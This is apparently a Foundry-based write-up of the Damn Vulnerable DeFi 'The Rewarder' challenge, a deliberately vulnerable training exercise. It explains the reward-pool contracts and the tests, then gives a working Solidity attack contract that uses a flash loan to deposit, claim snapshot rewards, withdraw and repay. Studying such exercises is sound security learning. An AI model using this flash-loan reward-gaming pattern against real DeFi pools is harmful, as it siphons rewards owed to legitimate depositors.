Challenge #4 - The Rewarder#
In order to learn Solidity and Foundry systematically, I have rewritten the solution to damnvulnerable-defi based on the Foundry testing framework. Welcome to discuss and build together~🎉
Contracts#
This challenge involves several contracts. First, let's introduce the ERC20Snapshot contract.
ERC20Snapshot: Inherits from ERC20. It allows tracing the account balances and total supply at each snapshot time point using the SnapshotId. The beforeTransfer function is called before the transfer of ERC20 tokens to update the account balance and total supply under the current snapshot ID. It is commonly used for scenarios such as dividends, voting, and airdrops in snapshot.
In this challenge, the main contracts are RewardToken, AccountingToken, LiquidityToken, and TheRewarderPool. Their relationships are as follows:
- TheRewarderPool provides the deposit and withdraw methods to the outside world.
- deposit: Users deposit liquidityToken, mint the corresponding amount of AccountingToken, and mint a certain number of rewardToken based on the current snapshot round. A new snapshot round starts every 5 days.
- withdraw: Burn the corresponding amount of AccountingToken and transfer the liquidityToken deposited by the user to the user.
In addition, this challenge also provides a flash loan contract that can be used to borrow liquidityToken through flash loans.
Testing#
- Create four users: Alice, Bob, Charlie, and David, and record them as users.
- Deploy the LiquidityToken FlashLoanerPool contract and transfer the liquidityToken to the FlashLoanerPool. The amount is TOKENS_IN_LENDER_POOL.
- Deploy TheRewarderPool (including RewardToken and AccountingToken).
- Iterate through the users array, transfer a certain amount of liquidityToken to each user, and deposit it into TheRewarderPool. At this time, the round is 1.
- Extend the block timestamp by 5 days, iterate through the user array again, and trigger distributeRewards one by one. Each user will receive an equal amount of rewardToken. At this time, the round is 2.
- Execute the attack script.
- It is expected that the current round is 3. Iterate through the users array, trigger distributeRewards, and each user will receive less than 1/4 of the original rewardToken.
- It is expected that the player's rewardToken balance is greater than 0.
- It is expected that the player's liquidityToken amount is 0, and the liquidityToken amount in the FlashLoanerPool remains unchanged.
Solution#
Assuming no additional user operations, in the next round of reward distribution, the four users in the users array will continue to receive a quarter of the rewardToken each.
To achieve the expected values of the test script, the player needs to participate in the distribution of rewardToken. This can be done by borrowing liquidityToken through a flash loan, depositing it into TheRewarderPool, triggering the distribution of a new round of rewardToken, and then withdrawing the liquidityToken and returning it to the FlashLoanerPool.
The attack contract code is as follows:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {TheRewarderPool, RewardToken} from "../../src/the-rewarder/TheRewarderPool.sol";
import "../../src/the-rewarder/FlashLoanerPool.sol";
import "../../src/DamnValuableToken.sol";
contract Attacker {
FlashLoanerPool flashloan;
TheRewarderPool pool;
DamnValuableToken dvt;
RewardToken reward;
address internal owner;
constructor(address _flashloan,address _pool,address _dvt,address _reward){
flashloan = FlashLoanerPool(_flashloan);
pool = TheRewarderPool(_pool);
dvt = DamnValuableToken(_dvt);
reward = RewardToken(_reward);
owner = msg.sender;
}
function attack(uint256 amount) external {
flashloan.flashLoan(amount);
}
function receiveFlashLoan(uint256 amount) external{
dvt.approve(address(pool), amount);
// deposit liquidity token get reward token
pool.deposit(amount);
// withdraw liquidity token
pool.withdraw(amount);
// repay to flashloan
dvt.transfer(address(flashloan), amount);
reward.transfer(owner, reward.balanceOf(address(this)));
}
}